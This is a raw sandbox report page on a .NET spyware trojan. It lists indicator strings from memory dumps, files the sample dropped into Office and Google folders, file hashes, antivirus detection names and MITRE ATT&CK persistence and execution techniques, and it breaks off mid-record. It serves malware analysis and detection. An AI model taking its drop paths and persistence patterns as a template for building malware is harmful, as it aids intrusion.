"00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "\ROOT\cimv2:Win32_ProcessStartup" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "HAPUBWS-PC\ROOT\cimv2:Win32_ProcessStartup" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "ROOT\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.008F0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found string "ROOT\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.02050000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found string "WmiPrvSE.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "\\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "\\HAPUBWS-PC\ROOT\cimv2:Win32_ProcessStartup" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "\\HAPUBWS-PC\ROOT\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "\\.\root\cimv2:Win32_Process" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp")50:T4f3,"8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\osppobjs-spp-plugin-manifest-signed\OSPPSVC.exe" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\osppobjs-spp-plugin-manifest-signed\1610b97d3ab4a74cd8ae104b51bea7bfcc5b9c6f" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Program Files (x86)\Google\Temp\Idle.exe" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Program Files (x86)\Google\Temp\6ccacd8608530fba3a93e87ae2225c7032aa18c1" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPOBJS\OSPPSVC.exe" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPOBJS\1610b97d3ab4a74cd8ae104b51bea7bfcc5b9c6f" "OSPPSVC.exe" touched file "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\osppobjs-spp-plugin-manifest-signed\OSPPSVC.exe.config" "OSPPSVC.exe" touched file "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPOBJS\OSPPSVC.exe.config"51:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC52:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC53:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC54:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790346746153,"unified_at":"2026-09-25T14:32:26.153Z","metadata":{"hashes":{"sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","sha1":"b92636084b3bd914514bc44556c4803933d667a3","md5":"8b744166eecace320158f4d0f704b13e","sha512":"641b3065e30186ccf9ba84ce6d345565763bbdb5fc1b1201c3f08fce5466c2384250b85b4c0220d2b9e21c5a51ff5ef60e9b910e07107e2b7e06f97b4e429d27","ssdeep":"24576:l+O4GuNVHU+AH2FWxOYIOlIZBrlsQBYI63DSyve5fG:s3N5IO6OtsMYIxS","ssdeep_chunks":["24576:l+O4GuN","24576:+O4GuNV","24576:O4GuNVH","24576:4GuNVHU","24576:GuNVHU+","24576:uNVHU+A","24576:NVHU+AH","24576:VHU+AH2","24576:HU+AH2F","24576:U+AH2FW","24576:+AH2FWx","24576:AH2FWxO","24576:H2FWxOY","24576:2FWxOYI","24576:FWxOYIO","24576:WxOYIOl","24576:xOYIOlI","24576:OYIOlIZ","24576:YIOlIZB","24576:IOlIZBr","24576:OlIZBrl","24576:lIZBrls","24576:IZBrlsQ","24576:ZBrlsQB","24576:BrlsQBY","24576:rlsQBYI","24576:lsQBYI6","24576:sQBYI63","24576:QBYI63D","24576:BYI63DS","24576:YI63DSy","24576:I63DSyv","24576:63DSyve","24576:3DSyve5","24576:DSyve5f","24576:Syve5fG","49152:l+O4GuN","49152:+O4GuNV","49152:O4GuNVH","49152:4GuNVHU","49152:GuNVHU+","49152:uNVHU+A","49152:NVHU+AH","49152:VHU+AH2","49152:HU+AH2F","49152:U+AH2FW","49152:+AH2FWx","49152:AH2FWxO","49152:H2FWxOY","49152:2FWxOYI","49152:FWxOYIO","49152:WxOYIOl","49152:xOYIOlI","49152:OYIOlIZ","49152:YIOlIZB","49152:IOlIZBr","49152:OlIZBrl","49152:lIZBrls","49152:IZBrlsQ","49152:ZBrlsQB","49152:BrlsQBY","49152:rlsQBYI","49152:lsQBYI6","49152:sQBYI63","49152:QBYI63D","49152:BYI63DS","49152:YI63DSy","49152:I63DSyv","49152:63DSyve","49152:3DSyve5","49152:DSyve5f","49152:Syve5fG","24576:s3N5IO6","24576:3N5IO6O","24576:N5IO6Ot","24576:5IO6Ots","24576:IO6OtsM","24576:O6OtsMY","24576:6OtsMYI","24576:OtsMYIx","24576:tsMYIxS"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"8B744166EECACE320158F4D0F704B13E.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":2781721,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1733946391000,"last_seen":1733946545000,"last_multi_scan":1733946545000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":80},"sandbox_signatures":{"informative_count":159,"suspicious_count":15,"malicious_count":16,"total":190},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Spy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.PowerShell.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Dropper.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.MSILHeracles.29293","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.MSILHeracles.29293 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Spy.Agent.AES trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanSpy/MSIL.Agent.v","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Spyware ( 004bf53c1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXQM-QI!8B744166EECA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Agent.COL.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Malware-Cryptor.MSIL.AgentTesla.Heur","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_47.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.4090056","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"MSILHeracles.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Found WMI keywords in script (string)"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"},{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute application (Dotnet)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Dotnet source code contains suspicious native API"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Found Native API in Dotnet file"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"References JavaScript(s)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"},{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"informative","value":"Contains reference to messaging system library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Persistence","technique":"Winlogon Helper DLL","attack_id":"T1547.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/004","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory 